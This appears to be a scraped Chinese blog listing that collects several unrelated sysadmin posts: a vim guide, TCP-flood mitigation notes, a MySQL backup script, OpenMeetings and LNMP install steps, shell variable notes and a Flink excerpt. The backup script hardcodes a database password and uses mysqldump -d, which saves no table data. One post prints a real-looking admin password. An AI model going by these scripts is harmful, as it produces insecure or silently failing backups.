文本编辑工具vim 文本编辑工具介绍 vim的三种模式 命令模式 扩展命令模式 其它模式 定制vim特性
vim简介
vi: Visual Interface,文本编辑器
文本:ASCII, Unicode
文本编辑种类:
行编辑器: sed
全屏编辑器:nano, vi
vim - Vi Improved
其他编辑器:
gedit 一个简单的图形编辑器
gvim 一个Vim编辑器的图形版本

vi与vim的不同?

打开文件
# vim [OPTION]... FILE...
+# 打开文件后,让光标处于第#行的行首,+默认行尾
+/PATTERN 让光标处于第一个被PATTERN匹配到的行的行首
–b file 二进制方式打开文件
–d file1 file2… 比较多个文件
-m file 只读打开文件
vim -e file 或 ex file 直接进入ex模式
如果该文件存在,文件被打开并显示内容
如果该文件不存在,当编辑后第一次存盘时创建它

注:路径不一样,vim打开时颜色有无

vim:一个模式编辑器 击键行为是依赖于 vim的 的“模式” 三种主要模式: 命令(Normal)模式:默认模式,移动光标,剪切/粘贴文本 插入(Insert)或编辑模式:修改文本 扩展命令(extended command )模式:保存,退出等 Esc键 退出当前模式 Esc键 Esc键 总是返回到命令模式
模式转换 命令模式 --> 插入模式 i insert, 在光标所在处输入 I 在当前光标所在行的行首输入 a append, 在光标所在处后面输入 A 在当前光标所在行的行尾输入 o 在当前光标所在行的下方打开一个新行 O 在当前光标所在行的上方打开一个新行
关闭文件 扩展命令模式: :q 退出 :q! 强制退出,丢弃做出的修改 :wq 保存退出 :x 保存退出 命令模式 ZZ 保存退出 ZQ 不保存退出
扩展命令模式 按“:”进入Ex模式 创建一个命令提示符: 处于底部的屏幕左侧 常见命令 w 写(存)磁盘文件 wq 写入并退出 x 写入并退出 q 退出 q! 不存盘退出,即使更改都将丢失 r filename 读文件内容到当前文件中 w filename 将当前文件内容写入另一个文件 !command 执行命令 r!command 读入命令的输出
命令模式光标跳转 字符间跳转: h: 左 l: 右 j: 下 k: 上 #COMMAND:跳转由#指定的个数的字符 单词间跳转: w:下一个单词的词首 e:当前或下一单词的词尾 b:当前或前一个单词的词首 #COMMAND:由#指定一次跳转的单词数 当前页跳转: H:页首 M:页中间行 L:页底 zt:将光标所在当前行移到屏幕顶端 zz:将光标所在当前行移到屏幕中间 zb:将光标所在当前行移到屏幕底端
命令模式光标跳转 行首行尾跳转: ^ 跳转至行首的第一个非空白字符 0 跳转至行首 $ 跳转至行尾 行间移动: #G 或者扩展命令模式下:# 跳转至由第#行 G 最后一行 1G, gg 第一行 句间移动: ) 下一句 ( 上一句 段落间移动: } 下一段 { 上一段
命令模式翻屏操作 Ctrl+f 向文件尾部翻一屏 Ctrl+b 向文件首部翻一屏 Ctrl+d 向文件尾部翻半屏 Ctrl+u 向文件首部翻半屏
命令模式操作 字符编辑: x 删除光标处的字符 #x 删除光标处起始的#个字符 xp 交换光标所在处的字符及其后面字符的位置 ~ 转换大小写 J 删除当前行后的换行符 替换命令(r, replace) r 替换光标所在处的字符 R 切换成REPLACE模式
命令模式操作 删除命令: d 删除命令,可结合光标跳转字符,实现范围删除 d$ 删除到行尾 d^ 删除到非空行首 d0 删除到行首 dw de db #COMMAND dd:删除光标所在的行 #dd 多行删除 D:从当前光标位置一直删除到行尾,等同于d$
复制命令(y, yank): y 复制,行为相似于d命令 y$ y0 y^ ye yw yb #COMMAND yy:复制行 #yy 复制多行 Y:复制整行
粘贴命令(p, paste): p 缓冲区存的如果为整行,则粘贴当前光标所在行的下方;否则,则粘 贴至当前光标所在处的后面 P 缓冲区存的如果为整行,则粘贴当前光标所在行的上方;否则,则粘 贴至当前光标所在处的前面
改变命令(c, change) c: 修改后切换成插入模式 命令模式 --> 插入模式 c$ c^ c0 cb ce cw #COMMAND cc:删除当前行并输入新内容,相当于S #cc C:删除当前光标到行尾,并切换成插入模式

100ibecause [ESC] 粘贴“because”100次
常见Command y 复制、d 删除、gU 变大写、gu 变小写 例如: 0y$ 命令 0 → 先到行头 y → 从这里开始拷贝 $ → 拷贝到本行最后一个字符
di" 光标在”“之间,则删除”“之间的内容 yi( 光标在()之间,则复制()之间的内容 vi[ 光标在[]之间,则选中[]之间的内容 dtx 删除字符直到遇见光标之后的第一个 x 字符 ytx 复制字符直到遇见光标之后的第一个 x 字符

扩展命令模式 地址定界 :start_pos,end_pos # 具体第#行,例如2表示第2行 #,# 从左侧#表示起始行,到右侧#表示结尾行 #,+# 从左侧#表示的起始行,加上右侧#表示的行数 示例:2,+3 表示2到5行 . 当前行 $ 最后一行 .,$-1 当前行到倒数第二行 % 全文, 相当于1,$
/pattern/ 匹配pattern的行 /pat1/,/pat2/ 从第一次被pat1模式匹配到的行开始,一直到第一次被pat2匹配到的行结束 #,/pat/ /pat/,$ 使用方式:后跟一个编辑命令 d y w file: 将范围内的行另存至指定文件中 r file:在指定位置插入指定文件中的所有内容
命令模式:查找 查找 /PATTERN:从当前光标所在处向文件尾部查找 ?PATTERN:从当前光标所在处向文件首部查找 n:与命令同方向 N:与命令反方向
命令模式:撤消更改 u 撤销最近的更改 #u 撤销之前多次更改 U 撤消光标落在这行后所有此行的更改 Ctrl - r 重做最后的“撤消”更改 . 重复前一个操作 #. 重复前一个操作#次


vim的寄存器 有26个命名寄存器和1个无命名寄存器,常存放不同的剪贴版内容,可以不同会话间共享 寄存器名称a,b,…,z,格式:“寄存器 放在数字和命令之间 如:3"tyy 表示复制3行到t寄存器中 "tp 表示将t寄存器内容粘贴 未指定,将使用无命名寄存器 有10个数字寄存器,用0,1,…,9表示,0存放最近复制内容,1存放最近删除内容。 当新的文本变更和删除时,1转存到2,2转存到3,以此类推。数字寄存器不能在不 同会话间共享
标记和宏(macro) ma 将当前位置标记为a,26个字母均可做标记, mb 、 mc 等等 'a 跳转到a标记的位置,实用的文档内标记方法,文档中跳跃编辑时很有用 qa 录制宏 a,a为宏的名称 q 停止录制宏 @a 执行宏 a @@ 重新执行上次执行的宏

编辑二进制文件 以二进制方式打开文件 vim –b binaryfile 扩展命令模式下,利用xxd命令转换为可读的十六进制 :%!xxd 插入模式下,编辑二进制文件 扩展命令模式下,利用xxd命令转换回二进制 :%!xxd -r 保存退出

可视化模式 允许选择的文本块 v 面向字符 V 面向行 ctrl-v 面向块 可视化键可用于与移动键结合使用 w ) } 箭头等 突出显示的文字可被删除,复制,变更,过滤,搜索,替换等

扩展命令模式:查找并替换 在扩展命令模式下完成查找替换操作 格式:s/要查找的内容/替换为的内容/修饰符 要查找的内容:可使用模式 替换为的内容:不能使用模式,但可以使用\1, \2, ...等后向引用符号;还可 以使用“&”引用前面查找时查找到的整个内容 修饰符: i 忽略大小写 g 全局替换,默认情况下,每一行只替换第一次出现 gc 全局替换,每次替换前询问 查找替换中的分隔符/可替换为其它字符 s@/etc@/var @g s#/boot#/#i

使用多个“窗口” 多文件分割 vim -o|-O FILE1 FILE2 ... -o: 水平分割 -O: 垂直分割 在窗口间切换:Ctrl+w, Arrow 单文件窗口分割 Ctrl+w,s:split, 水平分割 Ctrl+w,v:vertical, 垂直分割 ctrl+w,q:取消相邻窗口 ctrl+w,o:取消全部窗口 :wqall 退出

定制vim的工作特性 配置文件:永久有效 全局:/etc/vimrc 个人:~/.vimrc 扩展命令模式:当前vim进程有效 (1) 行号 显示:set number,简写 set nu 取消显示:set nonumber, 简写 set nonu (2) 忽略字符的大小写 启用:set ignorecase,简写 set ic 不忽略:set noic (3) 自动缩进 启用:set autoindent,简写 set ai 禁用:set noai (4) 复制保留格式 启用:set paste 禁用:set nopaste (5) 显示Tab和换行符 ^I 和$显示 启用:set list 禁用:set nolist (6) 高亮搜索 启用:set hlsearch 禁用:set nohlsearch (7) 语法高亮 启用:syntax on 禁用:syntax off (8) 文件格式 启用windows格式:set fileformat=dos 启用unix格式:set fileformat=unix 简写 set ff=dos|unix (9) 设置文本宽度 set textwidth=65 (vim only) set wrapmargin=15 (10) 设置光标所在行的标识线 启用:set cursorline,简写 set cul 禁用:set nocursorline

了解更多 Set 帮助 :help option-list :set or :set all vi/vim内置帮助 :help :help topic Use :q to exit help v imtutor



系统运维
2019-11-16 16:15:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
常在岸边走,哪有不湿鞋,某服务器遭受TCP攻击简单处理
环境:
阿里云 2c4g 固定1m带宽 静态放CDN
现象:
丢包,页面打不开,无法通过公网进服务器,服务器大量的TCP链接,流入带宽300M
原理:
几十上百万IP向服务器80端口发起连接请求,致使服务器收到大量SYN/ACK请求数据,就这样目标服务器接收到大量不属于自己连接进程的syn/ack报文,最终造成带宽、CPU等资源耗尽,拒绝服务。
优化系统、通过iptables限制IP的单个并发连接,机器配置不够防护不过来,并且对业务影响也不好。
此次攻击并非是cc攻击,所以并没有根据IP、URL、Referer、User-Agent进行防护。
解决:
查看TCP状态有大量的链接
ss -s
Total: 128367 (kernel 128395)
TCP: 149625 (estab 92038, closed 5000, orphaned 16384, synrecv 0, timewait 5000/0), ports 0
Transport Total IP IPv6
* 128395 - -
RAW 0 0 0
UDP 7 4 3
TCP 144625 144622 3
INET 144632 144626 6
FRAG 0 0 0
攻击源通过控制大量机器telnet domain.com 80 发送几个字符串过来
所有域名上CDN,攻击到了CDN的节点后无法到达服务器
后续,攻击转为telnet ip 80,也就是源IP被暴露出来,此时不使用阿里云安全服务就得更换IP
1.查看域名解析,把泄露出源IP的后台域名去掉解析
2.迁移数据到一台没有外网IP的服务器上
3.使用阿里云的弹性IP挂载到无外网IP上,这样,可以避免因程序漏洞泄露外网IP,避免直接暴露源IP
4.域名上CDN,并修改回源IP,因业务为动态,所有请求回源。
应急操作:
1.内网链接ssh
2.可用阿里云安全组关闭被攻击的端口,如80端口。
系统运维
2019-11-16 09:25:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
一、shell定时备份数据库任务通用脚本
目标:根据定时任务启动脚本,执行数据库备份任务,按照日期进行每日备份,如已经备份则脚本停止,备份任务完成后将结果发送邮件提醒
1.执行数据库备份任务,按照日期进行每日备份,如已经备份则脚本停止
#!/bin/bash
#auto backup mysql db
#by xiamiGG 2019-11-15
#define bacakup path
BAK_DIR=/data/backup/`date +%Y%m%d` #备份路径,备份名称按照年月日编排
MYSQLDB=example #备份数据库文件的名称
MYSQLUSR=backup #数据库用户名
MYSQLPW=123456 #数据库密码
MYSQLCMD=/usr/bin/mysqldump #mysqldump命令路径
#必须使用root管理员账户执行脚本,否则退出脚本
if [ $UID -ne 0 ];then
echo "must to be use root for exec shell."
exit
fi
#判断目录是否存在,如果已经存在则提示备份已经完成,停止脚本并退出;如果没有进行备份则按日期创建目录
if [ ! -d $BAK_DIR ];then
mkdir -p $BAK_DIR
echo -e "\033[32mThe $BAK_DIR Create successfully!\033[0m"
else
echo -e "\033[32mThis is $BAK_DIR is exists...\033[0m"
echo -e "\033[32mbackup already ,Please check it.\033[0m"
exit
fi
#Mysq备份命令
$MYSQLCMD -u$MYSQLUSR -p$MYSQLPW -d $MYSQLDB > $BAK_DIR/$MYSQLDB.sql
#检查脚本执行结果,执行成功提示successfully,执行失败提示failed
if [ $? -eq 0 ];then
echo -e "\033[32mThe Mysql Backup $MYSQLDB successfully!\033[0m"
else
echo -e "\033[32mThe Mysql Backup $MYSQLDB Failed,Please check.\033[0m"
fi
2.根据定时任务启动脚本,并记录定时任务日志
crontab -e 添加定时任务 crontab -l 检查定时任务列表
#每日凌晨12点执行数据库备份脚本
0 0 * * * /bin/bash /auto_backup_mysql.sh >>/tmp/mysql_bak_.log 2>&1
3.备份任务完成后将结果发送邮件提醒
PASS(exchange配置完毕后更新)
系统运维
2019-11-15 21:41:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
ch2 需要掌握的命令
(1)cat -n 1.txt
(2)more 1.txt
(3)head -n 15 initial-setup-ks.cfg
(4)tail -n 17 initial-setup-ks.cfg;tail -f initial-setup-ks.cfg
(5)cat -n anaconda-ks.cfg | tr [a-z] [A-Z]
(6)wc -l /etc/passwd
(7)stat anaconda-ks.cfg
(8)cut -d: -f1 /etc/passwd
(9)diff --brief a.txt b.txt;diff -c a.txt b.txt
ch2.7
(1)touch linuxprobe文件
(2)mkdir linuxprobe目录
(3)cp
(4)mv
(5)rm -f;rm -rf
(6) dd
(7)file
ch2.8
(1)tar czvf 1.tar.gz /rtc
(2)grep /sbin/nologin /etc/passwd
(3)find /etc -name "host"

系统运维
2019-11-15 21:11:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
Openmeetings—开源视频会议测试环境部署
运维工程师——李晨晨
一、openmeeting简介 OpenMeetings 是Apache的一个项目,是一个多语言可定制的视频会议和协作系统。 支持音频、视频,支持共享桌面,文件协作处理,它还包含一个白板,通过白板可以导入各种格式的图片,DOC,DOCX,PPT,PPTX,pdf,jpg等文档。 能够在会议过程中做 PPT的演示,这一功能得益于OpenOffice的文档转换能力和提供Java远程访问的能力。 通过RTMP和HTTP协议传送视频数据。支持在线聊天,视频,文件共享,桌面共享,支持多语言。 其最大特点是视频会议客户端不需要下载安装,openmeetings 系统将客户端做成 swf 形式,通过网页浏览的方式自动加载,免去用户下载安装的步骤,所有支持flash 的ie浏览器都可以使用openmeetings进行视频会议。 它基于OpenLaszlo的新流媒体格式和开源的Flash服务器Red5。最重要的,它基于LGPL开源协议,所以,搭建这样一个平台是完全自由免费的。Red5是基于java的开源流媒体服务器,所以在安装前必须先安装java环境即JDK。 Red5 是一款基于JAVA的免费的开源的Flash流媒体server.是当前最好的替代Adobe提供的FMS的开源软件。而且在可扩展性上有FMS不可比拟的优势。
环境 [root@openmeeting ~]# cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core) [root@openmeeting ~]# uname -a Linux openmeeting 3.10.0-957.el7.x86_64 #1 SMP Thu Nov 8 23:39:32 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
二、部署流程
官网
Apache官方openmeetings安装文档
openmeetings下载
官方的演示demo
注意:Openmeetings要求JRE 8,JRE 6/7不兼容! 生产环境建议
OpenMeetings默认使用ApacheDerby数据库。对于生产环境,应考虑使用MySQL, Postgres , IBM DB2 , Oracle ,或 MSSQL。 允许图像上传并导入到白板
在服务器上 安装 ImageMagick 。 http://www.imagemagick.org 启用将PDF导入白板
安装 GhostScript 。 http://www.ghostscript.com/download/gsdnld.html
安装 SWFTools 。 http://www.swftools.org 启用将.doc,.docx,.ppt,.pptx,...所有Office文档导入到whitebaord中
安装OpenOffice 或者 LibreOffice 。从OpenMeetings版本2.x开始,不再需要启动OpenOffice(或Libreoffice)服务 启用.avi,.flv,.mov和.mp4的录制并将其导入白板
安装 FFMpeg(具有启用的libmp3lame和libx264选项)。 http://ffmpeg.zeranoe.com/builds/
安装SoX。 http://sox.sourceforge.net/
1. 安装 JDK最新版本,Openmeetings就是基于它来运行的 ANT 最新版本,编译安装Openmeetings Openmeetings最新新版 OpenOffice.org 最新版本 ImageMagick 图象处理软件 Ghostscript阅读开放姓文件格式(如pdf)的软件 SWFTools 将pdf文档转为flash格式在白板中播放 FFMpeg录制、转换和琉化音频和视频 SoX 用于录制功用 mysql 数据库或openmeetings自带的数据库 Flash Player 所有这些都是基于FALSH的
Openmeetings #切换到安装包目录 cd /server/tools #下载openmeetings的tar包 wget https://mirrors.tuna.tsinghua.edu.cn/apache/openmeetings/4.0.9/bin/apache-openmeetings-4.0.9.tar.gz #创建目录并进入 mkdir -p /ompf/openmeetings #解压tar包到创建的目录下 tar xvf apache-openmeetings-4.0.9.tar.gz -C /ompf/openmeetings/
Java环境 下载之前需要同意Oracle的安装协议,不然不能下载,用wget的方式,默认是不同意,虽然能下载下来,但是下载下来的文件会有问题,所以在Linux上会解压失败。去官网下载好,然后传到服务器上就好了
@注:jdk版本要安装高版本,不然red5高于jdk版本启动不了 #下载java的jdk环境 https://www.oracle.com/technetwork/java/javase/downloads/java-archive-javase8-2177648.html #创建目录 mkdir -p /ompf/java #解压tar包到创建的目录下 tar xf jdk-8u201-linux-x64.tar.gz -C /ompf/java/ cd /ompf/java/jdk1.8.0_201/ #添加java变量 vim /etc/profile export JAVA_HOME=/ompf/java/jdk1.8.0_201 export JRE_HOME=/ompf/java/jdk1.8.0_201/jre export CLASSPATH=.:$JAVA_HOME/lib:$JRE_HOME/lib:$CLASSPATH export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH source /etc/profile #查看配置是否生效 java -version java version "1.8.0_121" Java(TM) SE Runtime Environment (build 1.8.0_121-b13) Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)
ImageMagick #直接yum安装 wget https://imagemagick.org/download/ImageMagick.tar.gz #创建目录 mkdir -p /ompf/ImageMagick #解压tar包到创建的目录下 tar xf ImageMagick.tar.gz -C /ompf/ImageMagick/ cd /ompf/ImageMagick/ImageMagick-7.0.9-3/ #配置生效 ./configure #编译安装 make && make install #查看安装版本 [root@openmeetings tools]# convert --version Version: ImageMagick 6.7.8-9 2019-08-08 Q16 http://www.imagemagick.org Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC Features: OpenMP
GhostScript #直接yum安装 yum install ghostscript -y #查看安装版本 [root@openmeetings tools]# gs -version GPL Ghostscript 9.25 (2018-09-13) Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
SWFTools #下载tar包 wget http://www.swftools.org/swftools-0.9.2.tar.gz #安装依赖组件 yum install gcc* automake zlib-devel libjpeg-devel giflib-devel freetype-devel -y #创建目录 mkdir -p /ompf/swftools #解压tar包到创建的目录下 tar xf swftools-0.9.2.tar.gz -C /ompf/swftools/ cd /ompf/swftools/swftools-0.9.2/ #配置生效 ./configure --prefix=/ompf/swftools #进行编译 make && make install #添加环境变量 vim /etc/profile export PATH=$PATH:/ompf/swftools/bin/ source /etc/profile #查看安装版本 [root@openmeetings swftools-0.9.2]# pdf2swf -V pdf2swf - part of swftools 0.9.2
Openoffice #下载tar包 wget https://sourceforge.net/projects/openofficeorg.mirror/files/4.1.7/binaries/zh-CN/Apache_OpenOffice_4.1.7_Linux_x86-64_install-rpm_zh-CN.tar.gz #创建目录 mkdir -p /ompf/openoffice #解压tar包 tar xf Apache_OpenOffice_4.1.7_Linux_x86-64_install-rpm_zh-CN.tar.gz -C /ompf/openoffice cd /ompf/openoffice/zh-CN/RPMS #安装相关的rpm包 rpm -ivh openoffice-*
yasm #下载tar包 wget http://www.tortall.net/projects/yasm/releases/yasm-1.3.0.tar.gz #创建目录 mkdir -p /ompf/yasm #解压tar包 tar xf yasm-1.3.0.tar.gz -C /ompf/yasm/ cd /ompf/yasm/yasm-1.3.0/ #配置生效 ./configure #编译安装 make && make install
FFMpeg #下载tar包 wget http://www.ffmpeg.org/releases/ffmpeg-4.2.1.tar.gz #创建目录 mkdir -p /ompf/ffmpeg #解压tar包 tar xf ffmpeg-4.2.1.tar.gz -C /ompf/ffmpeg/ cd /ompf/ffmpeg/ffmpeg-4.2.1/ #配置生效 ./configure #编译安装 make && make install #查看安装版本信息 [root@openmeetings ffmpeg-4.2.1]# ffmpeg -version ffmpeg version 4.2.1 Copyright (c) 2000-2019 the FFmpeg developers built with gcc 4.8.5 (GCC) 20150623 (Red Hat 4.8.5-39) configuration: libavutil 56. 31.100 / 56. 31.100 libavcodec 58. 54.100 / 58. 54.100 libavformat 58. 29.100 / 58. 29.100 libavdevice 58. 8.100 / 58. 8.100 libavfilter 7. 57.100 / 7. 57.100 libswscale 5. 5.100 / 5. 5.100 libswresample 3. 5.100 / 3. 5.100
Sox #直接yum下载 yum install sox -y
2. 运行 cd /ompf/openmeetings/conf/ vim red5.properties #修改http.host和rtmp.host为你的主机ip地址 http.host=10.0.0.76 ... rtmp.host=10.0.0.76 #启动!为防止报错,也可以将日志追加到文件中 cd /ompf/openmeetings/ nohup ./red5.sh 2>&1 >>/dev/null &
nohup 命令可以将程序以忽略挂起信号的方式运行起来,被运行的程序的输出信息将不会显示到终端
3.访问
http://ip:5080/openmeetings/install
检查数据库 这里使用默认
设置密码 这里使用测试密码
大写字母 特殊符号 不可使用弱密码 Lichenxing@.1314
设置邮箱
下一步让提供路径,从/ompf找到路径填写上去验证成功即可,可用 find查找
测试网络
登录后设置语言
退出登录后重新进入修改为中文
按照提示进行视频会议
其他同事访问注册
欢迎留言....
系统运维
2019-11-15 19:49:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
https://github.com/jjjfan/shell_devops/blob/master/%E6%AD%A3%E5%88%99/%E6%AD%A3%E5%88%99.md
系统运维
2019-11-15 17:52:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
unix shell的变量分类
在Shell中有三种变量:内部变量,环境变量,用户变量。
内部变量:系统提供,不用定义,不能修改
环境变量:系统提供,不用定义,可以修改,可以利用export将用户变量转为环境变量.
用户变量:用户定义,可以修改
(1)内部变量(系统变量,环境变量,参数变量,预定义变量)
内部变量是Linux所提供的一种特殊类型的变量,这类变量在程序中用来作出判断。在shell程序内这类变量的值是不能修改的。
表示方法 描述
$n $1 表示第一个参数,$2 表示第二个参数 ...
$# 命令行参数的个数
$0 当前程序的名称
$? 前一个命令或函数的返回码
$* 以"参数1 参数2 ... " 形式保存所有参数
$@ 以"参数1" "参数2" ... 形式保存所有参数
$$ 本程序的(进程ID号)PID
(2) 环境变量
Linux环境(也称为shell环境)由许多变量及这些变量的值组成,由这些变量和变量的值决定环境外观。这些变量就是环境变量。
包括两部分,一是,由系统设置的,主要包括: HOME,LOGNAME,MAIL,PATH,PS1,PWD,SHELL,TERM
二是,用户在命令行中设置的,使用export命令,但是用户注销时值将丢失
(3)用户变量(私有变量,本地变量)
在命令行中自己设定的.
更多数据库和linux技术内容欢迎搜索“重庆思庄”
系统运维
2019-11-15 17:00:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
MySQL安装:
MySQL的几个常用的安装包: rpm(直接yum)、源码包、二进制免编译(可指定目录,类似于rpm)

二进制免编译方法:
cd /usr/local/src
wget http://mirrors.163.com/mysql/Downloads/MySQL-5.6/mysql-5.6.43-linux-glibc2.12-x86_64.tar.gz
tar zxvf mysql-5.6.43-linux-glibc2.12-x86_64.tar.gz
mv mysql-5.6.43-linux-glibc2.12-x86_64 /usr/local/mysql
cd /usr/local/mysql
useradd mysql
mkdir /data/
yum -y install perl perl-devel perl-Data-Dumper libaio* psmisc
./scripts/mysql_install_db --user=mysql --datadir=/data/mysql
echo $?
cp support-files/my-default.cnf /etc/my.cnf
cp support-files/mysql.server /etc/init.d/mysqld
vi /etc/init.d/mysqld
定义basedir和datadir
basedir=/usr/local/mysql
datadir=/data/mysql
/etc/init.d/mysqld start 用这个命令把mysqld启动起来
(chkconfig --add mysqld 开机启动。chkconfig --list并查看一下列表)
也可以用service mysqld start用这个命令把mysql启动起来
也可以用命令行的方式把它启动起来:
/usr/local/mysql/bin/mysqld_safe --defaults-file=/etc/my.cnf --user=mysql --datadir=/data/mysql &
其中--defaults-file=/etc/my.cnf是指定他配置文件所在的路径
chkconfig --add mysqld
chkconfig mysqld on
ps aux |grep mysqld
chmod 755 /etc/init.d/mysqld 赋予755权限
netstat -lntp
更改root密码
vim /etc/profile 数据库增加变量
PATH=$PATH:/usr/local/mysql/bin/ 放到最后
source /etc/profile 更新
安装php
~1.cd /usr/local/src/
~2.wget http://cn2.php.net/distributions/php-5.6.32.tar.gz
~3.tar zxf php-5.6.32.tar.gz
~4.useradd -s /sbin/nologin php-fpm
~5.cd php-5.6.32 yum install curl curl-devel libxml2-devel openssl-devel bzip2 bzip2-devel libjpeg-devel libpng libpng-devel freetype freetype-devel epel-release (最后两项一个一个的安装)libmcrypt-devel
~6../configure --prefix=/usr/local/php-fpm --with-config-file-path=/usr/local/php-fpm/etc --enable-fpm --with-fpm-user=php-fpm --with-fpm-group=php-fpm --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-pdo-mysql=/usr/local/mysql --with-mysql-sock=/tmp/mysql.sock --with-libxml-dir --with-gd --with-jpeg-dir --with-png-dir --with-freetype-dir --with-iconv-dir --with-zlib-dir --with-mcrypt --enable-soap --enable-gd-native-ttf --enable-ftp --enable-mbstring --enable-exif --with-pear --with-curl --with-openssl
~7.make && make install echo $?
~8.cp php.ini-production /usr/local/php-fpm/etc/php.ini
php.ini-development给开发用的或测试用的。php.ini-production适合生产环境用
~9.vi /usr/local/php-fpm/etc/php-fpm.conf 写入如下内容
[global]
pid = /usr/local/php-fpm/var/run/php-fpm.pid
error_log = /usr/local/php-fpm/var/log/php-fpm.log
[www]
listen = /tmp/php-fcgi.sock
#listen = 127.0.0.1:9000 实例中有对这两者的解释,选择一种
listen.mode = 666
user = php-fpm
group = php-fpm
pm = dynamic
pm.max_children = 50
pm.start_servers = 20
pm.min_spare_servers = 5
pm.max_spare_servers = 35
pm.max_requests = 500
rlimit_files = 1024
~10.cp sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm
~11.chmod 755 /etc/init.d/php-fpm
~12.chkconfig --add php-fpm
~13.chkconfig php-fpm on
~14.service php-fpm start
~15.ps aux |grep php-fpm
(/usr/local/php-fpm/sbin/php-fpm -m/-i与/usr/local/php-fpm/bin/php -m/-i是一样的,都可以查看。但是多了一个 -t
/usr/local/php-fpm/sbin/php-fpm -t是测试他自己配置文件语法的,makeinstall之后用-t就会提示没有配置文件也就是~10.)
nginx安装
1. cd /usr/local/src
~2.wget http://nginx.org/download/nginx-1.8.0.tar.gz
~3.tar zxf nginx-1.8.0.tar.gz
~4.cd /usr/local/src/nginx-1.8.0.tar.gz
~5../configure --prefix=/usr/local/nginx (此处看需求需要哪种模块就要加上。后期会用到https,再来重新编译)
~6.make && make install
~7. vim /etc/init.d/nginx 创建启动脚本 复制实例中内容
(参考https://coding.net/u/aminglinux/p/aminglinux-book/git/blob/master/D15Z/etc_init.d_nginx )
~8.chmod 755 /etc/init.d/nginx
~9.chkconfig --add nginx
~10.chkconfig nginx on
~11.cd /usr/local/nginx/conf/; mv nginx.conf nginx.conf.bak 配置文件
~12.vim nginx.conf 复制实例中内容
(参考https://coding.net/u/aminglinux/p/aminglinux-book/git/blob/master/D15Z/nginx.conf)
~13./usr/local/nginx/sbin/nginx -t
~14./etc/init.d/nginx start
~15. netstat -lntp |grep 80

测试php解析:
vi /usr/local/nginx/html/1.php 加入如下内容
echo "test php scripts.";
?>
curl localhost/1.php
系统运维
2019-11-15 16:20:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
作者:岳猛
整理:毛鹤
本文根据 Apache Flink 系列直播课程整理而成,由 Apache Flink Contributor、网易云音乐实时计算平台研发工程师岳猛分享。主要分享内容为 Flink Job 执行作业的流程,文章将从两个方面进行分享:一是如何从 Program 到物理执行计划,二是生成物理执行计划后该如何调度和执行。
Flink 四层转化流程
Flink 有四层转换流程,第一层为 Program 到 StreamGraph;第二层为 StreamGraph 到 JobGraph;第三层为 JobGraph 到 ExecutionGraph;第四层为 ExecutionGraph 到物理执行计划。通过对 Program 的执行,能够生成一个 DAG 执行图,即逻辑执行图。如下:
第一部分将先讲解四层转化的流程,然后将以详细案例讲解四层的具体转化。 第一层 StreamGraph 从 Source 节点开始,每一次 transform 生成一个 StreamNode,两个 StreamNode 通过 StreamEdge 连接在一起,形成 StreamNode 和 StreamEdge 构成的DAG。 第二层 JobGraph,依旧从 Source 节点开始,然后去遍历寻找能够嵌到一起的 operator,如果能够嵌到一起则嵌到一起,不能嵌到一起的单独生成 jobVertex,通过 JobEdge 链接上下游 JobVertex,最终形成 JobVertex 层面的 DAG。 JobVertex DAG 提交到任务以后,从 Source 节点开始排序,根据 JobVertex 生成ExecutionJobVertex,根据 jobVertex的IntermediateDataSet 构建IntermediateResult,然后 IntermediateResult 构建上下游的依赖关系,形成 ExecutionJobVertex 层面的 DAG 即 ExecutionGraph。 最后通过 ExecutionGraph 层到物理执行层。
Program 到 StreamGraph 的转化
Program 转换成 StreamGraph 具体分为三步: 从 StreamExecutionEnvironment.execute 开始执行程序,将 transform 添加到 StreamExecutionEnvironment 的 transformations。 调用 StreamGraphGenerator 的 generateInternal 方法,遍历 transformations 构建 StreamNode 及 StreamEage。 通过 StreamEdge 连接 StreamNode。
通过 WindowWordCount 来看代码到 StreamGraph 的转化,在 flatMap transform 设置 slot 共享组为 flatMap_sg,并发设置为 4,在聚合的操作中设置 slot 共享组为 sum_sg, sum() 和 counts() 并发设置为 3,这样设置主要是为了演示后面如何嵌到一起的,跟上下游节点的并发以及上游的共享组有关。
WindowWordCount 代码中可以看到,在 readTextFile() 中会生成一个 transform,且 transform 的 ID 是 1;然后到 flatMap() 会生成一个 transform, transform 的 ID 是 2;接着到 keyBy() 生成一个 transform 的 ID 是 3;再到 sum() 生成一个 transform 的 ID 是 4;最后到 counts()生成 transform 的 ID 是 5。
transform 的结构如图所示,第一个是 flatMap 的 transform,第二个是 window 的 transform,第三个是 SinkTransform 的 transform。除此之外,还能在 transform 的结构中看到每个 transform 的 input 是什么。
接下来介绍一下 StreamNode 和 StreamEdge。 StreamNode 是用来描述 operator 的逻辑节点,其关键成员变量有 slotSharingGroup、jobVertexClass、inEdges、outEdges以及transformationUID; StreamEdge 是用来描述两个 operator 逻辑的链接边,其关键变量有 sourceVertex、targetVertex。
WindowWordCount transform 到 StreamGraph 转化如图所示,StreamExecutionEnvironment 的 transformations 存在 3 个 transform,分别是 Flat Map(Id 2)、Window(Id 4)、Sink(Id 5)。
transform 的时候首先递归处理 transform 的 input,生成 StreamNode,然后通过 StreamEdge 链接上下游 StreamNode。需要注意的是,有些 transform 操作并不会生成StreamNode 如 PartitionTransformtion,而是生成个虚拟节点。
在转换完成后可以看到,streamNodes 有四种 transform 形式,分别为 Source、Flat Map、Window、Sink。
每个 streamNode 对象都携带并发个数、slotSharingGroup、执行类等运行信息。
StreamGraph 到 JobGraph 的转化
